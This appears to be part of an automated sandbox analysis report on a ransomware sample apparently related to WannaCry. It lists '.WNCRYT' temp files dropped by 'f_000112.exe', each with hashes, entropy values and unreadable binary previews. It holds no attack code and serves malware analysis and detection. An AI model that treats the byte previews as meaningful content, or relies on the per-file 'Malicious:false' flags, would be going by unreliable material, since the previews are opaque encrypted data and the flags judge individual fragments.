                                                                                                                                                                              Preview:....B.'..s.b...s.#.._..K\.'PN.t.w..,X..:tQ...*......#.\M..2..&>..:G...0W.........6.....x..O$...;e.2........:.4.....O$.LXW.J..3..a.L...XF..I..|1V.7hU....F..xXj.r.O.'.HE.o?.n.`.Q.t@.....lB....q.............r..$..z ..o.._.@6....~..^dS..Jq9......3CU-!......X+n...&.M..Y...r-..Q...y..EH.m0Ho.v.t....R...[.!...T(;...YM..6y../..rNg.p./.....J05...n|.-.n7.....]..BX.. ....X....u{.n..s.....b......h..}iu...v#...SU.s..f.....n..i.."......1..H.Q....M............)....z<.7..$=....l.lh*.....O...d.#..Y.`..}..p..............3..a...-$O.mGU.....P....e.t.;..]..G.....:....{.<.\.+...O..i...g.....w9r...^...y6a.e$2.g.....8.....D5..., ....n....]3..`.."........zc.;.B.....u/..?|?<....Z].....),%\7.\?..sro..$}49~.ND.VG.^.^..3~.....>.......F...1.|%B(\.B9.....{.......}..,...9..=Vvg...\.7...3..X.g.'..vi...r.4Iv.;..{XX...VZ..YjW.>..JJy6z....8-Ew..L.|.eh.D...C.Y..i.F.....].s.:...]..!!p.7........#`\.w..?.r...P..:.Y(...^.X4.n.%.+&1(_.Vo..S..:s..PqX&...?........0..(....t

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\62.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.807727432405694
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:khkd53Ica7vY2X3WUi/e+AAjCDOfZBIyBcfiNDJuhCl53Ns:fdmc5zUiTuDEZZBZNDJuhCLy
                                                                                                                                                                              MD5:9212C8A5529A8610D4E09DFCF49CEEE6
                                                                                                                                                                              SHA1:FB3204CA590D33E5D6BD4CD7FE4A5ADB04E69C77
                                                                                                                                                                              SHA-256:FDB8E4C6962C1716AC8E628C737CE5749795B00682F31EE98E29D3E29A5C8737
                                                                                                                                                                              SHA-512:C7D21382E404A0B666D75DE3E8DE1559379A4365C98180092349086B9CD0BB77653456FBC357E23242395CFD3B1B03FD6869C54CBECEA52587C6BC6B97162A9B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:8.jA...R.K.b-..;:."...d....G.`....,...4..k...D7...*.h3...2.{..%e}....Q.).....y...h....1..u......0(..O.<W.N`..R....O.}.E.k..q......5.......3....~.)Ws7...r....xQ.U._.....O#I..#..c.../..{.YN.<sE.z....&Y......2.....eI6C..C...7D..mjcc.....t...p......l...... Nb.7.:.a.2.N[..a.7.8.ii.W..u..n>..R....&.I....F.....7<.....2..d....<%.OSEK~.........q....{...q.h.P.....Hr...Yh...lV^._...>..............V..O...&o..}..q..ff.!.........IW#gmY...`~.I..l....Q.L.3L.....~..U.C..Oj#B.^h.....g...V....W....c+C]:..<.........^!.7.r...so..|..].Q....S.f...cq.z.....S6.X.....?Q../...z..4(].q.....3QWv.....w"...c.:....-/....V.U...SI.UM.^."ADaA...$G....).R...3..:....7...(..sZ.._`...m..2..O.U[.6....m~.)._.7U...........d....t.P..j.ac".1...9,1$t.p.#...w.&..-.G..V.......0..$..s..,...-..<..........&.^......+..B.t.H....m..U/o.d..S.d-.ET..E.....\.........3........M.......J...c...aY\.l....b.......5..';..uB"E..*..A....)...it..9....xU.....k.k.x...$jay......../...U.....Q.7.Ut%..P}.|.

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\63.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.799714438608906
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:i802jUsvT4RYzWQQ9TdrO8bu28Tls4eaeUyLVOdsGQw5Nbgt:J02wKYpQOZr5ulsssMmGfTEt
                                                                                                                                                                              MD5:DA7B32B7B5EA61321A0A7D0001259706
                                                                                                                                                                              SHA1:E864AB382D5129A2B5AA88CBE1AEA17FD95DE7BC
                                                                                                                                                                              SHA-256:E14B07F365D527415FD0E33EF59A414A4D43D11E19F8C11CA69AA5DDE15EAB0A
                                                                                                                                                                              SHA-512:C4201F25B5EA1F672185ACE4B46042CCBE8FC896685C5DE1F39A1430CF2BBEE26FD813EA3753FD5CA90611DDA37BF065ABFEFACC254326AA392D8B83737820FF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..8,."..c>.$ ...........k...]8.n.1<q...."j.SfN..<(.u.g.Sa...eu..C..B.W....}.a.bZ.|t.H.Oj....is4.$.V.NK3.s.F.2.j]...;...w.....!.p..z....._2.......,.?..&@q./.w9.A........i...{.h.........!e.*@.b........Y...4J...e6.8....ht...`.Akw.i[..X...&....o...U.4^.QX.D...ou].Ie.4.A..B.;..9..B.Bfm2&>p..e7.......5g|s^.$5..~...`sz.pk..=...E..Q..7...G..C.=g...G.V..D.!:..u;...g....Z4P.l.dGs$.$...i)F.@.JtV....l.[....l.X...r.{.V"../...9Zs....dMaX...fy.Z.%..Y.D.E...........2......f<.t....{..0.......D!..@.....<.r..M_..7i.....U..)....S.N....xfM`3.l...+mK...t.....I'..oj.f.,.,.vbj...`gL..<?.....|Z.q3.............Rx.........w...C/......N..}........@}...v...../.b..L.pg.]..".'kX..X....:.KT{...5{..t.wo..../.|P#?..."S%..tFz$.Q. ...a.|...X..j...XB..@...;.^G.+T...>.#...x.[L.....S..Q.......^a.......!....l5.s.@..k.P.7.[.R.G.y.....5.wr}.f.D.B...&.....o....e..<...ieM..~..#P|.[.c.a...C..Zz...|...U...E..9.5R.Nu..30..zs......XM.b\y...Y..........e\.I....('..1.i..g...j~

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\64.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.792587652411013
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:VwpP+MpCTmwXCeUXLHPOeFjU4/QzaPE6dVdiblz70dcOo:eP+niwXCeUXLHzmzJ+ulocL
                                                                                                                                                                              MD5:BFD75407D72B1B9799EE083A419B4D40
                                                                                                                                                                              SHA1:7ED7AB7422AC74159F6947A275F1D0E65D13D0B8
                                                                                                                                                                              SHA-256:439AAA5C7D5D83A88136349A04AD51886EE01E951FBF50A4008C10C40CA68B72
                                                                                                                                                                              SHA-512:F77D2E28F58A9BE2F3871218E3836A7A6232030DD26FE1CAF7C2869EE83C694062DF5F6F7DD3596E2AF99488C978F5DCE0EE6EEDC31904A0BE8712DBEBF15F6B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:...d...s.+....MC.#..b.u.tv.l....P...C...I....b-....s......P.....o_...v...R.*.&...@q)...ui.."q..7.....n../.f0....7.........L.T,....B'?.1...Ts...Z....#..\....v......|..Y..c.:..Q...{_'@..x....._P"Bd.n..+u.....6^...|...K..%...../....Zbw.......D.4x.}...c.{..5i..C.N..hj....Q..+...&1.{..q.....b?]...L^..W..2.<j..B...0..|D....;L..."....{...i.....Y.k..O..R).......x.../...q....G.M..G..kq................)..........j......n...q5.......k.Q...^....9.h..._.r, .(.....U..h....8A+Gn.".h'^...o&p..F/.{..o...3c....D.(D/..;Y.F.F........>......&...(.?gx..FC.Q...... 8.|hm,.!"....<..4.]...d.z....o8..2.f.|.d...Q..w.&n....C...[......?\....T.......5..y....p.q..6....E...Z?...3.k..}......T8..@6.<..m-..-.lAZ..a......r.KO...*..x.......N_=...v=..E..p....k............W.....I..!.G.B|.07.j..;..U.......m,.tZ,&..p....g...=|....v..SD..*.-D..R..Pm.....m...nn:s.P.>^...6lp...|.SL.I.,.... ..?k.Q4.~i,...V.5/v>P...F.|.r..9....;.[.]..i.&x......8{...o.....{..n..j.L.$K*..*..}Af...V

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\65.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.782679443314461
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:BH7xmthwkSUdY8sHNbZPoA3I3Y2B5iZd9YUxF6Ezl:2thPdGj8o2jiL9hFBl
                                                                                                                                                                              MD5:BA6C4DCDC89275822B674950F8456011
                                                                                                                                                                              SHA1:8D59930DD3F8B6E7F2B492C1F5C5B7E1E67B6D14
                                                                                                                                                                              SHA-256:7E00A11D4B497069F0EAE8CF7AABF0161D3E7C38E0D30D29228F2C04934E6CDB
                                                                                                                                                                              SHA-512:23C61EE22B8CFA35604EB1D7CC70D4063441E93626F5FBA775693BA6D4DC5225EF9ACF087B0BA35A4B5E03B8DB272D0B738BA02D7D324694202BC879C9F9C04D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Ra.,./J~.lj-..(H.(f..$...]^@@#..V..dW'BW..T..."y.....NX{W.q...=&..R.i.n....s.[...r...!%j..A...<.}edNz.x8..=a}.g....w.\y.Swx.F/.."....L.t.>.BM...XA.08....R87.O.O.Ay....w.G.Y!-. .....j....jN....7....D.M.aW.{L..N%.T...g.B.!...EY..?.`.x.p..v?#.Ag....X....7...".b..p7..~._......?.@..@..}#TN....7WO..-.....V..._.....ZAm...n.F.].Z.....C...B.....V....9..`.d...hcJ.....#.-.......w...:}......:..6f.....y...+..U.:.nb.?...s..#.?....iI]X.5..|%.f...i_T...7..u..vT3.P..,d......y...,I...,..?>.R.+.ucJ.|........q.io..m.K..cX,..T)..77..p.5..e.hV.w...R...i%.L.Z.8..C.B..R......Z........rL..m#.._.....K.).Bu."vjz......'8~.........H.3Aw.j..`.#R.4..O.rU.....o..<......y..n..#.)..=......^.=I.;.a..>.8;.o........t...4vh.#=.b.y15.z.}.....VA..<..'....\.........{.1.F8R:kc.*2.a..t...LdI.1....@gU<../n..CF..I.....4x\j..F...<.W..SG=...x...M.qC...H.U}T...v.....f...r..(...-e%.......U}...rz0..Z.............e......./d=..3..@...FG...r7....sk....Tb.E...t~/..g.U....f...L.y#..7.?]

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\66.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.818256162797725
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:Fs4ZtbyTy+sjldzuwgKGrHuDqSmMm6znZZNTGGW2yqyWDuRIsvX:F7ZbZdawIrOyenZZNT3VylIsv
                                                                                                                                                                              MD5:B3B296610DDB205E18579431A736E78E
                                                                                                                                                                              SHA1:C59709E04B80D106E168F6C14ED9B662A5F0C564
                                                                                                                                                                              SHA-256:240491DA498AE9A35FBD7F8BB614E320D523964B376023B9BFE202E8E1CF06ED
                                                                                                                                                                              SHA-512:6AA19F383C7945EE6C83B753EF0DA0F4FCB57EE62F3EE915A94785A85F6ACB5B66E6B5BC3397D4FC3859A18909AAC00D9AE1A6F5A0966A4C6E46A8B9787FE5A1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:k.WP..L.......r.........I.....&.!..V.....M..s..,.7..../6.U2Q.V..X...Ct.d.k.{0./x..1. ...q........H/w...Qwx.7..I.%.yF....%.Q..(X.."I.+s.u8.].a..MFa\d..._h.l...!.2...+<."s..c.......!S..k.K(.U..&&;..4..c.9.........?X..yc.o.......K.(...\.@x........6.........!.....r.....,.(....4.'.8_V.RC....;.|z.].....(.Q.4i.J....*....X.H.8..t..h/.~...%e.e...-...(..W..=..5V...UP...d.l./...v.-.O...R..7b...1..?.dn...Rz....h..q..3...g.?.W...(.........b`v...l.F.4....Y...9...9.#...q'.>.Zh.M....pl.....``..HUj.D..i.M..S....'....k..D.......#[.c..juD..TT..S].fa..p........H.1..{..p.h....G..L.K..&G.a...Q...!.<._m......Z.O_......<c;.Vo..$...v6.}`.Pt#kt..RFk.{Ei.L........W8h..s..i.Q.r.@.[...~.yM-...fyVk.d..eD9T..(..1[.pT.[N..8&:lj..r....... .....Z..=......d.I<f......(...J.}.H......( .SEB!.4...B.`.0..!2..r8.."...A..6..z...:....Q.S.AS..H...4.nM(.H`....:....T.,.I..`..t.O_.!ES....&.&...A..xI<o..z6TT4...S..._.?.tV.V$.s.Nym.}.....Y...F..5..7=.-.........O.'H.'..E.6.

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\67.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.829817703909909
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:2UZLGTGVeWl9EwHWZGmjpqlbztHVg90gtrcDSfVfpaOEXdlFESPqpSMR:kTGVuwHWcgqJZH290gtrcD+WNdlFEiMR
                                                                                                                                                                              MD5:E8258E6AB184D8F432A1BD14A0584D30
                                                                                                                                                                              SHA1:919637773B4AD8363B0AD0BEF05A91D28D3EA167
                                                                                                                                                                              SHA-256:CE187D96106D1FBF9F6CDE6B9A24E81AA6C17B4191EA74621E18E74DCF411609
                                                                                                                                                                              SHA-512:C97A54C3CB3FCCFB3366E4C16F9ACB0FBF70E211779EB68FE6DF428A654A95CC0878BEBBD6E22AE2B001B7F26609D44C3B3CC36C145675EFB7B127A96D51B199
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:b..a...)Y.B....J.5...U.P.bWt........q.....0....d.n....yp4...D^V...... u..V;U.@.. .#7y..NG.(..._..a..........Pu...j..............3..A......F..T..Z.\..._....#...Dt..K.......P.OV.....d.\..W...6`..aNG_.. ....Wp.h.}...&$~2'.. ....u.G_^e.n..(....I....Q.1C..........Q....*.....#...6.f&.>${Fz.pI...s..<..X.Z.F:..,...h.S8.Pk...Q.DA...d.Y?.=n&..N..*Ct..4-cIS...3....x.O..=..:).;......v.>....(.!h.#.....\6w.*....l.(......_^...P$...[......V1.D.IS..R....n..?....+........f.d.%;p.Lk.+4y>.Y.p..mP`.<....ms.......$._+i.......8U+.Mw..>;$&q....A..Y..c.4.(...c...0.8~o...4...e.I.Kw&.:Rku...GR/..A{r.R..qJ'.bg1..........g....L....$......j...R8I_....%...a.S._...,....ib..L|.2.=V..Q.%}.D...2&..D.c..-.-/.~....!.....OD##.+..S.N..}..W*.J..Z..P.^....9.._@.....C.t$.....?....w....O.U....F...B....5_/.k...r.@.2w..../M.......E.p<.o.J.n..i...w._....yh...;..v..<.S.`x..........{...J..R.....S..dt..n .....S.<.9.w..Z.wF..\m+..0.E..H.J.3.q.....,.m......"..".k.....T.D]..l...3.H..

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\68.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.843789724581842
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:HNXAuhhkwTGLTXOi9R/L9sixq/OffUAsZgZOsPusDgziyuN:HNQUhkwTKTei9R/2bO6u9czit
                                                                                                                                                                              MD5:6A0C5B1E3D45BE1A3969B846A019881C
                                                                                                                                                                              SHA1:609173C59DD70261B3262F392D4ADDA978855E23
                                                                                                                                                                              SHA-256:9D4E0BE4A5CC08B41B78C16E859FFEC22C6E0E830D2EB12E46C67C15DF828558
                                                                                                                                                                              SHA-512:051479A37C687E931A16E8B015ADB86007AEBA7735B6BEC5873E701640E2E10D3063FA9AAE44FF581A77B295F54B9B0331EE17B223A57CE132760E9AF712B5AA
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..Q..)H.H.3p..C.l....'8U.i|....-.{......W..j.....529.,.._~j.....j...;g.}...E..J....~...I..Gv......+QB..r...7..$.+k.r........3.9L..l)..X.!..f..S..G.H.......\.S..A...........O.#o...;=.p*.=.t6.B.e.c.q..c.N./.Z.m*).......|.6.!.oNY}1.\Y....+..2].(.D.....t]ub@'.E....g.,....z._V...."...b._.....`.<..@..y{.......h....h$.7.HB...>1=..gh(.M.W.j:.......}..B9j7.....N..^.R......t^...3.|A.Y.(...}D/.M....e.JKQ.yp.....b.R.*..0&P3...O.WV..*K....7=.Bhe_.....{..'....c.(3....E......*d.X.n.[.Z..(..H.;&.c.].mF5)....FcMf..@..8.x[}.-...:..5j.E#.b....Y.R..I.....K.?*..<..a.).....D....u.."l}..X...q...cS.;.t...%....GV......._.`5..Rd-.N...2..!.4.M..b.xG(F.....g?.3.4|. ...H.....~$.m:."..y.K.....W...{....8.w....k,..m.M..f...'!.r..........A.........V...zU-.IstS.P.c?0.J.=@.^......J.5!f0.....Yr.l3...._i.v...b.5e..m....i.;v(...n..c...Y26..n._2...buD6.B.t8...|...%E94..v.%.t.<1R..?+*....V7...O........?.......Ha.?k....'.....\.0SU.n.-E7:. <$O.w....]....Ct...J...e

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\69.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:SysEx File -
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.748274709438266
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:akMCwjpQHTByTVw89DAuO0SL3Ari/gqHoggD1J7hBZ6s8chk8Z:9MBGHVydDA4SL3Ar4gmg6Ahk8Z
                                                                                                                                                                              MD5:2ABF4D7C45D22928E2A1BB1F57D14FC5
                                                                                                                                                                              SHA1:1D0334E62919A912E0EDA60A0E6F44DFBDF6F0C4
                                                                                                                                                                              SHA-256:6AE69D6F95E4E5BBAD1FF473F5D574A424C76782F7F4CCFA354AC45F9B61DBD9
                                                                                                                                                                              SHA-512:07ABB8A605796C996C6657E462925C701CED1A98946CAB6001A8B4A56C4564F43FD28034C0ED202D56E43B465702841798459DC5D3CC4EC278BCFA5BAABC4BB5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.E...e.o........{....."%.....9G.weF18._....B$leP.........%...ih.q..XYJ...BYd......:..........^,NM...CQ"z...l.i.Rk.....!F....}..U.`..8.A.j...{S.d...5...Z..9.._r%.h...^!J}.30Qm._..4.N&.s.*..AiQ..i4...?."...W..9m..z..&.L.....i...3....."....qB.xcW..........._4......=..2...S....U.K.]_.v.H....Y....qk)..*.4B.eWY....]..[j,.......g..(6...w....G.%...Q......9B...Z..G.v.......Szp..[...A.p.5O.0.o(.s...M.5.:d..... ..*......#5....L.mYV<s7...B..)..H.....[.-U....,#J..7.>.....\9(W;...a.K...nC...p;X.>..|8...T.(H...Nf.5..>L7.UC.L...:/c..1..7.F..*].K..=..R...K+...iiJ..).!.LS.&23..RY..U...[....;%.)~....`t.&.Tc...]v....>.~...P....=..w.%.=W.|..$....9N.In.@..Z.Y.....c)..A.O.7.c.v..[..*j......A....,5.X..Vd.n.P.[._]...x...Q.&...t!{.....$G..8)..a.A..xX.&.MG.o..#...UR.R.t......f.I)Y... T .E{..:.....`..8...V,L....-....D../.v..=!Z.+.0...x...[...Y"....L..@.'....0K....SZ..l.R.....I.......A.N.............,&.....o>....&..X....'=.....Q.KY9T}+W.../.E.......T

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\7.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.791474478473064
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:8w06zkjAXdM9tUUebaZhVugZd+B3pTgOiPdSB+BnJwiN6p/V2DxPC:8w34j8MGeZhggP+99B+BnJw86ZV2NPC
                                                                                                                                                                              MD5:4F7514B68ABEF9063810282E4DBBECDD
                                                                                                                                                                              SHA1:8FC76B440D137E1020AC9770A5EBEB6EDAD18CD6
                                                                                                                                                                              SHA-256:D738EDA43ED31B19DA4B9C6731DB79D73051946B29C966B36CACF2973019D367
                                                                                                                                                                              SHA-512:AD64F75BCF63679B5D7740BB28E55F09E55907625F8854A99F394BC568955211A589E301BAF762ED6924710C86994E1B3842BF7D75DF9AB189DBE8937A9D4AB9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.7h..4..3..........}M.l.OS.M..~..,...KZ.}v....{./..e.@x....^.5\1.}..l.`4.......K..(..[...G;.q......X$....{...........#t..4"{D.6.T..J...K&.e.......l.Sp3J.U.............P},..c...L6k.......&~........@.rT....>..qz8-.K.4O..`..'.`L9..L+.....T..:....Zn..~..W.y...p[.D.|kN.r.O...$5.p.oN..B..{..!Ka.9..p...9U3.0.W.........T....j.....`)..wm......#.|.z./..Aln....'..?...5aD."...X...U."o@W)..a..._...Z.@.r..Kd.p=.t..........\C>u.M..'.;..=>k.r.Wk.x(-.,t..i.?.I..y..I.....E..x!..pF.......=.t..A?.B...o..NY n......n.i....4K..v...-S..,....p..k.21.#">...BIaY.....2.i...:X7.u.@^<.8....u.B'.#..E*>...Er.Y....v.D.\$...?n.!.r....lA6v..q..Z........u7..U$....B...)..sI..z.g.g.9.,.v.W.m>4...N.q<.cj/..x..V..a...^r......4.k...Y...5....d...E]...;.B^.y....y.P.r....%Y..L..>Y.....n.y...-"..............B.^<8Gz`.....5F.<:8>x....D.......7a..^p.3.............H...42N..........s.>K...KF....03(."./.@Z...Ve.'...}K#..S.R..".6...Q.m=(.......:.W..cQBgq.ri7..........A.... W.....

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\70.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:PGP encrypted data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.770798092783333
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:3cY5Tu1WXArboqUsXDRPedbTuw/Fhwc6ogHojeP/9+bi76iaH6Jy4DXKI+ZCGgtX:7qb2sXtiayFyLuMp6Pa84zKI+ZCVtq4
                                                                                                                                                                              MD5:EFE0372023D23385D0B1A5E86AF7BBB1
                                                                                                                                                                              SHA1:A4E51F2BE2C755E09A3087FC995B42BF27C282EE
                                                                                                                                                                              SHA-256:524E0E5A78458C56B20319D91B4DCFD8A382F02E80CDA96A4C5A7785534AB0B4
                                                                                                                                                                              SHA-512:DD731AEFA5E9FD65E3830AF8FA52833DA43263C6ED9214E71E7A56747D22DCD00645A43AA1F9B204D13138A58E3488B52836724FE0939307D4FEBB3CF14324B5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..H `i..y.SN..Y...Tr.......qX..,B.,xY..E.m..-......(V..SLiF:J..?.>eb..IqQ6U{'.e5..9!4.sJ}.[.T.y.;..U.?.(..7.`..SO....;..j<....Z,.mW....AfU.#..Q..S]....E....HO.@....V....Db..y...u...!.f.s|2N...A[^...p...:7!.x*..$.uE...y......=/.ys"Z..]..6..X*d.a..v.Y.`K.KFV..;I.e....w......|..d68Tg|.h.^ B.iL....O........O../..Z..j[._Z:.:;.Zp..W.L..."fu3..w0.....,xh.......\..b(.yw.Qi.......ox|..^O.U.4.g..Qu^B s.&-i.R.h........v..,.<.`...q..X..._.........I..$q:..Gc........oh...o.b,Y.!"s+..KM..j..Z..;o_...:z.\hyx6......j[_._;Y.M..+..i.."o...K:.fN. -....q.BFZ'..^...@.....+......~*.@.90RK/..,(..R....KA.H............2;.s..?|@LRhF4i;.H+H$...)....Y...]....{..?|A..*..7...L.(.)+P...^...."...:.:.. .Of...$8{......K2..V....&..#u..v`.Z.Y....^/.N$......s&....X..y..Zy\h...V..W..A..#8...C8.&S.+..-....M...U3..$....B..4t|5K.p`.....D..F......A.7...O.IO...:N ?OQ|A...=..I...}.........N..Xy.,....O.F...5.....C+.~..jq)..D..Q.x....\y..A......).$d(..iF...lrK...4.s6}.k._}D...l..

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\71.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.817429120903796
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:MTUyldWg6r4TJXeI853n0JVlIpr7hmrmY99TzkYMgVOQn:Mwy+frgJudN0JjIphaL99DMaOQn
                                                                                                                                                                              MD5:A9C89B31846D09BB5D060965D7045DB5
                                                                                                                                                                              SHA1:14F6547A39F439F62090F6D50728FFD0799D3D25
                                                                                                                                                                              SHA-256:6D8FD68366E6E274E6F571780AE8C25A40CF05487D96E40BD5585DEA5003AB17
                                                                                                                                                                              SHA-512:AE642FC981FF75FA48B616EB671485FA397C732767705A0595BD1B14776AEB2C95C7A463ACFAB625B08CDBA012AABDD4BCE5CD158B2BBDF72CA619EBCF98976A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..K....X.q>.#{.....d.s../...4.jL..nd-.>...).+72.d.l...v.V`.864..j.........: ..KZ4..r.l..L.:@V`..~..I>..y.D...)Y...+.......#.zO[...>U.l...P.Q.C#....(......T"R.iC:S.........&d'....x"...@u'.I..Y...6.'3c...SL....S#..J........`t....(....[........K....D.s.....XP.......f.oz..Ae[P..MWW~.G....v.S...q............2.s.||.fN.:3...p...o..1.G...6...^X..x.Rs.Q.J._I..9".Q.M.=....0...IR....0k.sXdw....]..|z...9|.......b..........@...K{.H..^./>..>G..q.....*...Vp..u.D.K.S.%.b.....Y.HJ;.kE................F.A:...".s....[..s%KmF.^.1.G..p.C....T0ns17Db^.... .2...M.\.Z.........c......3..l.;..N.;uI...P.>..u.e........7..;1.1.(:....;.Q...X.z...f...--..7z...k.V7<.]).w..6..........WJ;..yX......l..#..?.%......I..$a...^.a.....W....ze`....~.....*...Kv...6$!.... ..:......*.s1......j'...H@P/...CG..t...l.0`nK.:!R.D.j...m....f.d.f.P..l2^@ ..wW..AC..b.U..g@E..}..=..h.../..yV.W`a...p.8..uR|.t^.?......&.........bt...F..gw......k`..$E2.5#.+.\.p.}.......+6.^.v.CpL..Y.K.D...]

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\72.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.804227650233068
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:GHka/wYpAvzWqUEJ2CbiQS3tgXBtEkF09rmjR5fftIIecFk:GHZYJ+IJ/S3tgRtB+Bmj5IEFk
                                                                                                                                                                              MD5:10E98A732D7BE885F7AF96CD973E85A5
                                                                                                                                                                              SHA1:2C49DEAD0D538D6387B8C8F5AD0987240E051EBC
                                                                                                                                                                              SHA-256:B42817C070B5D99DFC9B1B5F9050BAF764FCA4DDF7686A38DADBDD6DE7AF3083
                                                                                                                                                                              SHA-512:268A851EABC0074EB16C13BC400C0C79BD0975FF974DEE33354DCEADB313655399E458BE2C730A4796ADDE3B5E090441814775AB928D7F4157E9B8A56EE784C2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
